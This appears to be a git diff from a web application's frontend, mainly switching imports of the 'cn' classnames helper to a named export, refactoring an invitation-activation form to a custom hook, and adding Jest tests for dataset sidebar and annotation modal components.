+++ b/web/app/(commonLayout)/datasets/(datasetDetailLayout)/[datasetId]/layout-main.tsx
@@ -23,7 +23,7 @@ import { useDatasetDetail, useDatasetRelatedApps } from '@/service/knowledge/use
 import useDocumentTitle from '@/hooks/use-document-title'
 import ExtraInfo from '@/app/components/datasets/extra-info'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type IAppDetailLayoutProps = {
   children: React.ReactNode
diff --git a/web/app/(shareLayout)/webapp-reset-password/layout.tsx b/web/app/(shareLayout)/webapp-reset-password/layout.tsx
index e0ac6b9ad6..13073b0e6a 100644
--- a/web/app/(shareLayout)/webapp-reset-password/layout.tsx
+++ b/web/app/(shareLayout)/webapp-reset-password/layout.tsx
@@ -1,7 +1,7 @@
 'use client'
 import Header from '@/app/signin/_header'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 export default function SignInLayout({ children }: any) {
diff --git a/web/app/(shareLayout)/webapp-reset-password/set-password/page.tsx b/web/app/(shareLayout)/webapp-reset-password/set-password/page.tsx
index 5e3f6fff1d..843f10e039 100644
--- a/web/app/(shareLayout)/webapp-reset-password/set-password/page.tsx
+++ b/web/app/(shareLayout)/webapp-reset-password/set-password/page.tsx
@@ -2,7 +2,7 @@
 import { useCallback, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useRouter, useSearchParams } from 'next/navigation'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import { RiCheckboxCircleFill } from '@remixicon/react'
 import { useCountDown } from 'ahooks'
 import Button from '@/app/components/base/button'
diff --git a/web/app/(shareLayout)/webapp-signin/layout.tsx b/web/app/(shareLayout)/webapp-signin/layout.tsx
index 7649982072..c75f925d40 100644
--- a/web/app/(shareLayout)/webapp-signin/layout.tsx
+++ b/web/app/(shareLayout)/webapp-signin/layout.tsx
@@ -1,6 +1,6 @@
 'use client'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import useDocumentTitle from '@/hooks/use-document-title'
 import type { PropsWithChildren } from 'react'
diff --git a/web/app/(shareLayout)/webapp-signin/normalForm.tsx b/web/app/(shareLayout)/webapp-signin/normalForm.tsx
index 219722eef3..a14bfcd737 100644
--- a/web/app/(shareLayout)/webapp-signin/normalForm.tsx
+++ b/web/app/(shareLayout)/webapp-signin/normalForm.tsx
@@ -7,7 +7,7 @@ import Loading from '@/app/components/base/loading'
 import MailAndCodeAuth from './components/mail-and-code-auth'
 import MailAndPasswordAuth from './components/mail-and-password-auth'
 import SSOAuth from './components/sso-auth'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { LicenseStatus } from '@/types/feature'
 import { IS_CE_EDITION } from '@/config'
 import { useGlobalPublicStore } from '@/context/global-public-context'
diff --git a/web/app/account/oauth/authorize/layout.tsx b/web/app/account/oauth/authorize/layout.tsx
index 2ab676d6b6..b70ab210d0 100644
--- a/web/app/account/oauth/authorize/layout.tsx
+++ b/web/app/account/oauth/authorize/layout.tsx
@@ -1,7 +1,7 @@
 'use client'
 import Header from '@/app/signin/_header'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import useDocumentTitle from '@/hooks/use-document-title'
 import { AppContextProvider } from '@/context/app-context'
diff --git a/web/app/activate/activateForm.tsx b/web/app/activate/activateForm.tsx
index d9d07cbfa1..11fc4866f3 100644
--- a/web/app/activate/activateForm.tsx
+++ b/web/app/activate/activateForm.tsx
@@ -1,13 +1,13 @@
 'use client'
+import { useEffect } from 'react'
 import { useTranslation } from 'react-i18next'
-import useSWR from 'swr'
 import { useRouter, useSearchParams } from 'next/navigation'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 
-import { invitationCheck } from '@/service/common'
 import Loading from '@/app/components/base/loading'
 import useDocumentTitle from '@/hooks/use-document-title'
+import { useInvitationCheck } from '@/service/use-common'
 
 const ActivateForm = () => {
   useDocumentTitle('')
@@ -26,19 +26,21 @@ const ActivateForm = () => {
       token,
     },
   }
-  const { data: checkRes } = useSWR(checkParams, invitationCheck, {
-    revalidateOnFocus: false,
-    onSuccess(data) {
-      if (data.is_valid) {
-        const params = new URLSearchParams(searchParams)
-        const { email, workspace_id } = data.data
-        params.set('email', encodeURIComponent(email))
-        params.set('workspace_id', encodeURIComponent(workspace_id))
-        params.set('invite_token', encodeURIComponent(token as string))
-        router.replace(`/signin?${params.toString()}`)
-      }
-    },
-  })
+  const { data: checkRes } = useInvitationCheck({
+    ...checkParams.params,
+    token: token || undefined,
+  }, true)
+
+  useEffect(() => {
+    if (checkRes?.is_valid) {
+      const params = new URLSearchParams(searchParams)
+      const { email, workspace_id } = checkRes.data
+      params.set('email', encodeURIComponent(email))
+      params.set('workspace_id', encodeURIComponent(workspace_id))
+      params.set('invite_token', encodeURIComponent(token as string))
+      router.replace(`/signin?${params.toString()}`)
+    }
+  }, [checkRes, router, searchParams, token])
 
   return (
     <div className={
diff --git a/web/app/activate/page.tsx b/web/app/activate/page.tsx
index cfb1e6b149..9ae03f3711 100644
--- a/web/app/activate/page.tsx
+++ b/web/app/activate/page.tsx
@@ -2,7 +2,7 @@
 import React from 'react'
 import Header from '../signin/_header'
 import ActivateForm from './activateForm'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 const Activate = () => {
diff --git a/web/app/components/app-sidebar/app-info.tsx b/web/app/components/app-sidebar/app-info.tsx
index f143c2fcef..1b4377c10a 100644
--- a/web/app/components/app-sidebar/app-info.tsx
+++ b/web/app/components/app-sidebar/app-info.tsx
@@ -29,7 +29,7 @@ import CardView from '@/app/(commonLayout)/app/(appDetailLayout)/[appId]/overvie
 import type { Operation } from './app-operations'
 import AppOperations from './app-operations'
 import dynamic from 'next/dynamic'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { AppModeEnum } from '@/types/app'
 
 const SwitchAppModal = dynamic(() => import('@/app/components/app/switch-app-modal'), {
diff --git a/web/app/components/app-sidebar/app-sidebar-dropdown.tsx b/web/app/components/app-sidebar/app-sidebar-dropdown.tsx
index 3c5d38dd82..04634906af 100644
--- a/web/app/components/app-sidebar/app-sidebar-dropdown.tsx
+++ b/web/app/components/app-sidebar/app-sidebar-dropdown.tsx
@@ -16,7 +16,7 @@ import AppInfo from './app-info'
 import NavLink from './navLink'
 import { useStore as useAppStore } from '@/app/components/app/store'
 import type { NavIcon } from './navLink'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { AppModeEnum } from '@/types/app'
 
 type Props = {
diff --git a/web/app/components/app-sidebar/dataset-info/dropdown.tsx b/web/app/components/app-sidebar/dataset-info/dropdown.tsx
index ff110f70bd..dc46af2d02 100644
--- a/web/app/components/app-sidebar/dataset-info/dropdown.tsx
+++ b/web/app/components/app-sidebar/dataset-info/dropdown.tsx
@@ -2,7 +2,7 @@ import React, { useCallback, useState } from 'react'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '../../base/portal-to-follow-elem'
 import ActionButton from '../../base/action-button'
 import { RiMoreFill } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Menu from './menu'
 import { useSelector as useAppContextWithSelector } from '@/context/app-context'
 import { useDatasetDetailContextWithSelector } from '@/context/dataset-detail'
diff --git a/web/app/components/app-sidebar/dataset-info/index.spec.tsx b/web/app/components/app-sidebar/dataset-info/index.spec.tsx
new file mode 100644
index 0000000000..3674be6658
--- /dev/null
+++ b/web/app/components/app-sidebar/dataset-info/index.spec.tsx
@@ -0,0 +1,379 @@
+import React from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import DatasetInfo from './index'
+import Dropdown from './dropdown'
+import Menu from './menu'
+import MenuItem from './menu-item'
+import type { DataSet } from '@/models/datasets'
+import {
+  ChunkingMode,
+  DataSourceType,
+  DatasetPermission,
+} from '@/models/datasets'
+import { RETRIEVE_METHOD } from '@/types/app'
+import { RiEditLine } from '@remixicon/react'
+
+let mockDataset: DataSet
+let mockIsDatasetOperator = false
+const mockReplace = jest.fn()
+const mockInvalidDatasetList = jest.fn()
+const mockInvalidDatasetDetail = jest.fn()
+const mockExportPipeline = jest.fn()
+const mockCheckIsUsedInApp = jest.fn()
+const mockDeleteDataset = jest.fn()
+
+const createDataset = (overrides: Partial<DataSet> = {}): DataSet => ({
+  id: 'dataset-1',
+  name: 'Dataset Name',
+  indexing_status: 'completed',
+  icon_info: {
+    icon: '📙',
+    icon_background: '#FFF4ED',
+    icon_type: 'emoji',
+    icon_url: '',
+  },
+  description: 'Dataset description',
+  permission: DatasetPermission.onlyMe,
+  data_source_type: DataSourceType.FILE,
+  indexing_technique: 'high_quality' as DataSet['indexing_technique'],
+  created_by: 'user-1',
+  updated_by: 'user-1',
+  updated_at: 1690000000,
+  app_count: 0,
+  doc_form: ChunkingMode.text,
+  document_count: 1,
+  total_document_count: 1,
+  word_count: 1000,
+  provider: 'internal',
+  embedding_model: 'text-embedding-3',
+  embedding_model_provider: 'openai',
+  embedding_available: true,
+  retrieval_model_dict: {
+    search_method: RETRIEVE_METHOD.semantic,
+    reranking_enable: false,
+    reranking_model: {
+      reranking_provider_name: '',
+      reranking_model_name: '',
+    },
+    top_k: 5,
+    score_threshold_enabled: false,
+    score_threshold: 0,
+  },
+  retrieval_model: {
+    search_method: RETRIEVE_METHOD.semantic,
+    reranking_enable: false,
+    reranking_model: {
+      reranking_provider_name: '',
+      reranking_model_name: '',
+    },
+    top_k: 5,
+    score_threshold_enabled: false,
+    score_threshold: 0,
+  },
+  tags: [],
+  external_knowledge_info: {
+    external_knowledge_id: '',
+    external_knowledge_api_id: '',
+    external_knowledge_api_name: '',
+    external_knowledge_api_endpoint: '',
+  },
+  external_retrieval_model: {
+    top_k: 0,
+    score_threshold: 0,
+    score_threshold_enabled: false,
+  },
+  built_in_field_enabled: false,
+  runtime_mode: 'rag_pipeline',
+  enable_api: false,
+  is_multimodal: false,
+  ...overrides,
+})
+
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    replace: mockReplace,
+  }),
+}))
+
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (state: { dataset?: DataSet }) => unknown) => selector({ dataset: mockDataset }),
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useSelector: (selector: (state: { isCurrentWorkspaceDatasetOperator: boolean }) => unknown) =>
+    selector({ isCurrentWorkspaceDatasetOperator: mockIsDatasetOperator }),
+}))
+
+jest.mock('@/service/knowledge/use-dataset', () => ({
+  datasetDetailQueryKeyPrefix: ['dataset', 'detail'],
+  useInvalidDatasetList: () => mockInvalidDatasetList,
+}))
+
+jest.mock('@/service/use-base', () => ({
+  useInvalid: () => mockInvalidDatasetDetail,
+}))
+
+jest.mock('@/service/use-pipeline', () => ({
+  useExportPipelineDSL: () => ({
+    mutateAsync: mockExportPipeline,
+  }),
+}))
+
+jest.mock('@/service/datasets', () => ({
+  checkIsUsedInApp: (...args: unknown[]) => mockCheckIsUsedInApp(...args),
+  deleteDataset: (...args: unknown[]) => mockDeleteDataset(...args),
+}))
+
+jest.mock('@/hooks/use-knowledge', () => ({
+  useKnowledge: () => ({
+    formatIndexingTechniqueAndMethod: () => 'indexing-technique',
+  }),
+}))
+
+jest.mock('@/app/components/datasets/rename-modal', () => ({
+  __esModule: true,
+  default: ({
+    show,
+    onClose,
+    onSuccess,
+  }: {
+    show: boolean
+    onClose: () => void
+    onSuccess?: () => void
+  }) => {
+    if (!show)
+      return null
+    return (
+      <div data-testid="rename-modal">
+        <button type="button" onClick={onSuccess}>Success</button>
+        <button type="button" onClick={onClose}>Close</button>
+      </div>
+    )
+  },
+}))
+
+const openMenu = async (user: ReturnType<typeof userEvent.setup>) => {
+  const trigger = screen.getByRole('button')
+  await user.click(trigger)
+}
+
+describe('DatasetInfo', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockDataset = createDataset()
+    mockIsDatasetOperator = false
+  })
+
+  // Rendering of dataset summary details based on expand and dataset state.
+  describe('Rendering', () => {
+    it('should show dataset details when expanded', () => {
+      // Arrange
+      mockDataset = createDataset({ is_published: true })
+      render(<DatasetInfo expand />)
+
+      // Assert
+      expect(screen.getByText('Dataset Name')).toBeInTheDocument()
+      expect(screen.getByText('Dataset description')).toBeInTheDocument()
+      expect(screen.getByText('dataset.chunkingMode.general')).toBeInTheDocument()
+      expect(screen.getByText('indexing-technique')).toBeInTheDocument()
+    })
+
+    it('should show external tag when provider is external', () => {
+      // Arrange
+      mockDataset = createDataset({ provider: 'external', is_published: false })
+      render(<DatasetInfo expand />)
+
+      // Assert
+      expect(screen.getByText('dataset.externalTag')).toBeInTheDocument()
+      expect(screen.queryByText('dataset.chunkingMode.general')).not.toBeInTheDocument()
+    })
+
+    it('should hide detailed fields when collapsed', () => {
+      // Arrange
+      render(<DatasetInfo expand={false} />)
+
+      // Assert
+      expect(screen.queryByText('Dataset Name')).not.toBeInTheDocument()
+      expect(screen.queryByText('Dataset description')).not.toBeInTheDocument()
+    })
+  })
+})
+
+describe('MenuItem', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Event handling for menu item interactions.
+  describe('Interactions', () => {
+    it('should call handler when clicked', async () => {
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+      // Arrange
+      render(<MenuItem name="Edit" Icon={RiEditLine} handleClick={handleClick} />)
+
+      // Act
+      await user.click(screen.getByText('Edit'))
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+  })
+})
+
+describe('Menu', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockDataset = createDataset()
+  })
+
+  // Rendering of menu options based on runtime mode and delete visibility.
+  describe('Rendering', () => {
+    it('should show edit, export, and delete options when rag pipeline and deletable', () => {
+      // Arrange
+      mockDataset = createDataset({ runtime_mode: 'rag_pipeline' })
+      render(
+        <Menu
+          showDelete
+          openRenameModal={jest.fn()}
+          handleExportPipeline={jest.fn()}
+          detectIsUsedByApp={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('common.operation.edit')).toBeInTheDocument()
+      expect(screen.getByText('datasetPipeline.operations.exportPipeline')).toBeInTheDocument()
+      expect(screen.getByText('common.operation.delete')).toBeInTheDocument()
+    })
+
+    it('should hide export and delete options when not rag pipeline and not deletable', () => {
+      // Arrange
+      mockDataset = createDataset({ runtime_mode: 'general' })
+      render(
+        <Menu
+          showDelete={false}
+          openRenameModal={jest.fn()}
+          handleExportPipeline={jest.fn()}
+          detectIsUsedByApp={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('common.operation.edit')).toBeInTheDocument()
+      expect(screen.queryByText('datasetPipeline.operations.exportPipeline')).not.toBeInTheDocument()
+      expect(screen.queryByText('common.operation.delete')).not.toBeInTheDocument()
+    })
+  })
+})
+
+describe('Dropdown', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockDataset = createDataset({ pipeline_id: 'pipeline-1', runtime_mode: 'rag_pipeline' })
+    mockIsDatasetOperator = false
+    mockExportPipeline.mockResolvedValue({ data: 'pipeline-content' })
+    mockCheckIsUsedInApp.mockResolvedValue({ is_using: false })
+    mockDeleteDataset.mockResolvedValue({})
+    if (!('createObjectURL' in URL)) {
+      Object.defineProperty(URL, 'createObjectURL', {
+        value: jest.fn(),
+        writable: true,
+      })
+    }
+    if (!('revokeObjectURL' in URL)) {
+      Object.defineProperty(URL, 'revokeObjectURL', {
+        value: jest.fn(),
+        writable: true,
+      })
+    }
+  })
+
+  // Rendering behavior based on workspace role.
+  describe('Rendering', () => {
+    it('should hide delete option when user is dataset operator', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      mockIsDatasetOperator = true
+      render(<Dropdown expand />)
+
+      // Act
+      await openMenu(user)
+
+      // Assert
+      expect(screen.queryByText('common.operation.delete')).not.toBeInTheDocument()
+    })
+  })
+
+  // User interactions that trigger modals and exports.
+  describe('Interactions', () => {
+    it('should open rename modal when edit is clicked', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      render(<Dropdown expand />)
+
+      // Act
+      await openMenu(user)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      // Assert
+      expect(screen.getByTestId('rename-modal')).toBeInTheDocument()
+    })
+
+    it('should export pipeline when export is clicked', async () => {
+      const user = userEvent.setup()
+      const anchorClickSpy = jest.spyOn(HTMLAnchorElement.prototype, 'click')
+      const createObjectURLSpy = jest.spyOn(URL, 'createObjectURL')
+      // Arrange
+      render(<Dropdown expand />)
+
+      // Act
+      await openMenu(user)
+      await user.click(screen.getByText('datasetPipeline.operations.exportPipeline'))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockExportPipeline).toHaveBeenCalledWith({
+          pipelineId: 'pipeline-1',
+          include: false,
+        })
+      })
+      expect(createObjectURLSpy).toHaveBeenCalledTimes(1)
+      expect(anchorClickSpy).toHaveBeenCalledTimes(1)
+    })
+
+    it('should show delete confirmation when delete is clicked', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      render(<Dropdown expand />)
+
+      // Act
+      await openMenu(user)
+      await user.click(screen.getByText('common.operation.delete'))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('dataset.deleteDatasetConfirmContent')).toBeInTheDocument()
+      })
+    })
+
+    it('should delete dataset and redirect when confirm is clicked', async () => {
+      const user = userEvent.setup()
+      // Arrange
+      render(<Dropdown expand />)
+
+      // Act
+      await openMenu(user)
+      await user.click(screen.getByText('common.operation.delete'))
+      await user.click(await screen.findByRole('button', { name: 'common.operation.confirm' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockDeleteDataset).toHaveBeenCalledWith('dataset-1')
+      })
+      expect(mockInvalidDatasetList).toHaveBeenCalledTimes(1)
+      expect(mockReplace).toHaveBeenCalledWith('/datasets')
+    })
+  })
+})
diff --git a/web/app/components/app-sidebar/dataset-info/index.tsx b/web/app/components/app-sidebar/dataset-info/index.tsx
index 44b0baa72b..bace656d54 100644
--- a/web/app/components/app-sidebar/dataset-info/index.tsx
+++ b/web/app/components/app-sidebar/dataset-info/index.tsx
@@ -8,7 +8,7 @@ import { useDatasetDetailContextWithSelector } from '@/context/dataset-detail'
 import type { DataSet } from '@/models/datasets'
 import { DOC_FORM_TEXT } from '@/models/datasets'
 import { useKnowledge } from '@/hooks/use-knowledge'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Dropdown from './dropdown'
 
 type DatasetInfoProps = {
diff --git a/web/app/components/app-sidebar/dataset-sidebar-dropdown.tsx b/web/app/components/app-sidebar/dataset-sidebar-dropdown.tsx
index ac07333712..cf380d00d2 100644
--- a/web/app/components/app-sidebar/dataset-sidebar-dropdown.tsx
+++ b/web/app/components/app-sidebar/dataset-sidebar-dropdown.tsx
@@ -11,7 +11,7 @@ import AppIcon from '../base/app-icon'
 import Divider from '../base/divider'
 import NavLink from './navLink'
 import type { NavIcon } from './navLink'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useDatasetDetailContextWithSelector } from '@/context/dataset-detail'
 import Effect from '../base/effect'
 import Dropdown from './dataset-info/dropdown'
diff --git a/web/app/components/app-sidebar/index.tsx b/web/app/components/app-sidebar/index.tsx
index 86de2e2034..fe52c4cfa2 100644
--- a/web/app/components/app-sidebar/index.tsx
+++ b/web/app/components/app-sidebar/index.tsx
@@ -9,7 +9,7 @@ import AppSidebarDropdown from './app-sidebar-dropdown'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
 import { useStore as useAppStore } from '@/app/components/app/store'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '../base/divider'
 import { useHover, useKeyPress } from 'ahooks'
 import ToggleButton from './toggle-button'
diff --git a/web/app/components/app-sidebar/navLink.tsx b/web/app/components/app-sidebar/navLink.tsx
index ad90b91250..f6d8e57682 100644
--- a/web/app/components/app-sidebar/navLink.tsx
+++ b/web/app/components/app-sidebar/navLink.tsx
@@ -2,7 +2,7 @@
 import React from 'react'
 import { useSelectedLayoutSegment } from 'next/navigation'
 import Link from 'next/link'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { RemixiconComponentType } from '@remixicon/react'
 
 export type NavIcon = React.ComponentType<
@@ -42,7 +42,7 @@ const NavLink = ({
   const NavIcon = isActive ? iconMap.selected : iconMap.normal
 
   const renderIcon = () => (
-    <div className={classNames(mode !== 'expand' && '-ml-1')}>
+    <div className={cn(mode !== 'expand' && '-ml-1')}>
       <NavIcon className="h-4 w-4 shrink-0" aria-hidden="true" />
     </div>
   )
@@ -53,21 +53,17 @@ const NavLink = ({
         key={name}
         type='button'
         disabled
-        className={classNames(
-          'system-sm-medium flex h-8 cursor-not-allowed items-center rounded-lg text-components-menu-item-text opacity-30 hover:bg-components-menu-item-bg-hover',
-          'pl-3 pr-1',
-        )}
+        className={cn('system-sm-medium flex h-8 cursor-not-allowed items-center rounded-lg text-components-menu-item-text opacity-30 hover:bg-components-menu-item-bg-hover',
+          'pl-3 pr-1')}
         title={mode === 'collapse' ? name : ''}
         aria-disabled
       >
         {renderIcon()}
         <span
-          className={classNames(
-            'overflow-hidden whitespace-nowrap transition-all duration-200 ease-in-out',
+          className={cn('overflow-hidden whitespace-nowrap transition-all duration-200 ease-in-out',
             mode === 'expand'
               ? 'ml-2 max-w-none opacity-100'
-              : 'ml-0 max-w-0 opacity-0',
-          )}
+              : 'ml-0 max-w-0 opacity-0')}
         >
           {name}
         </span>
@@ -79,22 +75,18 @@ const NavLink = ({
     <Link
       key={name}
       href={href}
-      className={classNames(
-        isActive
-          ? 'system-sm-semibold border-b-[0.25px] border-l-[0.75px] border-r-[0.25px] border-t-[0.75px] border-effects-highlight-lightmode-off bg-components-menu-item-bg-active text-text-accent-light-mode-only'
-          : 'system-sm-medium text-components-menu-item-text hover:bg-components-menu-item-bg-hover hover:text-components-menu-item-text-hover',
-        'flex h-8 items-center rounded-lg pl-3 pr-1',
-      )}
+      className={cn(isActive
+        ? 'system-sm-semibold border-b-[0.25px] border-l-[0.75px] border-r-[0.25px] border-t-[0.75px] border-effects-highlight-lightmode-off bg-components-menu-item-bg-active text-text-accent-light-mode-only'
+        : 'system-sm-medium text-components-menu-item-text hover:bg-components-menu-item-bg-hover hover:text-components-menu-item-text-hover',
+      'flex h-8 items-center rounded-lg pl-3 pr-1')}
       title={mode === 'collapse' ? name : ''}
     >
       {renderIcon()}
       <span
-        className={classNames(
-          'overflow-hidden whitespace-nowrap transition-all duration-200 ease-in-out',
+        className={cn('overflow-hidden whitespace-nowrap transition-all duration-200 ease-in-out',
           mode === 'expand'
             ? 'ml-2 max-w-none opacity-100'
-            : 'ml-0 max-w-0 opacity-0',
-        )}
+            : 'ml-0 max-w-0 opacity-0')}
       >
         {name}
       </span>
diff --git a/web/app/components/app-sidebar/toggle-button.tsx b/web/app/components/app-sidebar/toggle-button.tsx
index 8de6f887f6..4f69adfc34 100644
--- a/web/app/components/app-sidebar/toggle-button.tsx
+++ b/web/app/components/app-sidebar/toggle-button.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import Button from '../base/button'
 import { RiArrowLeftSLine, RiArrowRightSLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '../base/tooltip'
 import { useTranslation } from 'react-i18next'
 import { getKeyboardKeyNameBySystem } from '../workflow/utils'
diff --git a/web/app/components/app/annotation/add-annotation-modal/edit-item/index.spec.tsx b/web/app/components/app/annotation/add-annotation-modal/edit-item/index.spec.tsx
new file mode 100644
index 0000000000..f226adf22b
--- /dev/null
+++ b/web/app/components/app/annotation/add-annotation-modal/edit-item/index.spec.tsx
@@ -0,0 +1,47 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import EditItem, { EditItemType } from './index'
+
+describe('AddAnnotationModal/EditItem', () => {
+  test('should render query inputs with user avatar and placeholder strings', () => {
+    render(
+      <EditItem
+        type={EditItemType.Query}
+        content="Why?"
+        onChange={jest.fn()}
+      />,
+    )
+
+    expect(screen.getByText('appAnnotation.addModal.queryName')).toBeInTheDocument()
+    expect(screen.getByPlaceholderText('appAnnotation.addModal.queryPlaceholder')).toBeInTheDocument()
+    expect(screen.getByText('Why?')).toBeInTheDocument()
+  })
+
+  test('should render answer name and placeholder text', () => {
+    render(
+      <EditItem
+        type={EditItemType.Answer}
+        content="Existing answer"
+        onChange={jest.fn()}
+      />,
+    )
+
+    expect(screen.getByText('appAnnotation.addModal.answerName')).toBeInTheDocument()
+    expect(screen.getByPlaceholderText('appAnnotation.addModal.answerPlaceholder')).toBeInTheDocument()
+    expect(screen.getByDisplayValue('Existing answer')).toBeInTheDocument()
+  })
+
+  test('should propagate changes when answer content updates', () => {
+    const handleChange = jest.fn()
+    render(
+      <EditItem
+        type={EditItemType.Answer}
+        content=""
+        onChange={handleChange}
+      />,
+    )
+
+    fireEvent.change(screen.getByPlaceholderText('appAnnotation.addModal.answerPlaceholder'), { target: { value: 'Because' } })
+    expect(handleChange).toHaveBeenCalledWith('Because')
+  })
+})
diff --git a/web/app/components/app/annotation/add-annotation-modal/index.spec.tsx b/web/app/components/app/annotation/add-annotation-modal/index.spec.tsx
new file mode 100644
index 0000000000..3103e3c96d
--- /dev/null
+++ b/web/app/components/app/annotation/add-annotation-modal/index.spec.tsx
@@ -0,0 +1,155 @@
+import React from 'react'
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import AddAnnotationModal from './index'
+import { useProviderContext } from '@/context/provider-context'
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(),
+}))
+
+const mockToastNotify = jest.fn()
+jest.mock('@/app/components/base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: jest.fn(args => mockToastNotify(args)),
+  },
+}))
+
+jest.mock('@/app/components/billing/annotation-full', () => () => <div data-testid="annotation-full" />)
+
+const mockUseProviderContext = useProviderContext as jest.Mock
+
+const getProviderContext = ({ usage = 0, total = 10, enableBilling = false } = {}) => ({
+  plan: {
+    usage: { annotatedResponse: usage },
+    total: { annotatedResponse: total },
+  },
+  enableBilling,
+})
+
+describe('AddAnnotationModal', () => {
+  const baseProps = {
+    isShow: true,
+    onHide: jest.fn(),
+    onAdd: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUseProviderContext.mockReturnValue(getProviderContext())
+  })
+
+  const typeQuestion = (value: string) => {
+    fireEvent.change(screen.getByPlaceholderText('appAnnotation.addModal.queryPlaceholder'), {
+      target: { value },
+    })
+  }
+
+  const typeAnswer = (value: string) => {
+    fireEvent.change(screen.getByPlaceholderText('appAnnotation.addModal.answerPlaceholder'), {
+      target: { value },
+    })
+  }
+
+  test('should render modal title when drawer is visible', () => {
+    render(<AddAnnotationModal {...baseProps} />)
+
+    expect(screen.getByText('appAnnotation.addModal.title')).toBeInTheDocument()
+  })
+
+  test('should capture query input text when typing', () => {
+    render(<AddAnnotationModal {...baseProps} />)
+    typeQuestion('Sample question')
+    expect(screen.getByPlaceholderText('appAnnotation.addModal.queryPlaceholder')).toHaveValue('Sample question')
+  })
+
+  test('should capture answer input text when typing', () => {
+    render(<AddAnnotationModal {...baseProps} />)
+    typeAnswer('Sample answer')
+    expect(screen.getByPlaceholderText('appAnnotation.addModal.answerPlaceholder')).toHaveValue('Sample answer')
+  })
+
+  test('should show annotation full notice and disable submit when quota exceeded', () => {
+    mockUseProviderContext.mockReturnValue(getProviderContext({ usage: 10, total: 10, enableBilling: true }))
+    render(<AddAnnotationModal {...baseProps} />)
+
+    expect(screen.getByTestId('annotation-full')).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'common.operation.add' })).toBeDisabled()
+  })
+
+  test('should call onAdd with form values when create next enabled', async () => {
+    const onAdd = jest.fn().mockResolvedValue(undefined)
+    render(<AddAnnotationModal {...baseProps} onAdd={onAdd} />)
+
+    typeQuestion('Question value')
+    typeAnswer('Answer value')
+    fireEvent.click(screen.getByTestId('checkbox-create-next-checkbox'))
+
+    await act(async () => {
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.add' }))
+    })
+
+    expect(onAdd).toHaveBeenCalledWith({ question: 'Question value', answer: 'Answer value' })
+  })
+
+  test('should reset fields after saving when create next enabled', async () => {
+    const onAdd = jest.fn().mockResolvedValue(undefined)
+    render(<AddAnnotationModal {...baseProps} onAdd={onAdd} />)
+
+    typeQuestion('Question value')
+    typeAnswer('Answer value')
+    const createNextToggle = screen.getByText('appAnnotation.addModal.createNext').previousElementSibling as HTMLElement
+    fireEvent.click(createNextToggle)
+
+    await act(async () => {
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.add' }))
+    })
+
+    await waitFor(() => {
+      expect(screen.getByPlaceholderText('appAnnotation.addModal.queryPlaceholder')).toHaveValue('')
+      expect(screen.getByPlaceholderText('appAnnotation.addModal.answerPlaceholder')).toHaveValue('')
+    })
+  })
+
+  test('should show toast when validation fails for missing question', () => {
+    render(<AddAnnotationModal {...baseProps} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.add' }))
+    expect(mockToastNotify).toHaveBeenCalledWith(expect.objectContaining({
+      type: 'error',
+      message: 'appAnnotation.errorMessage.queryRequired',
+    }))
+  })
+
